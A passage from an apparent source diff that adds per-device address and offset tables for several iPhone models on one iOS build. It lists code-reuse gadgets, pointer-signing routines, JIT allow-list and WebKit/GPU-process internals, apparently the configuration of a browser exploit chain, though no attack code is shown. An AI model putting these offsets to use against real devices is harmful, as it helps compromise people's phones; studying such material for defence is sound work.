AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone14,8_22G100": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone15,2_22G100": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,3_22G100": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,4_22G100": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 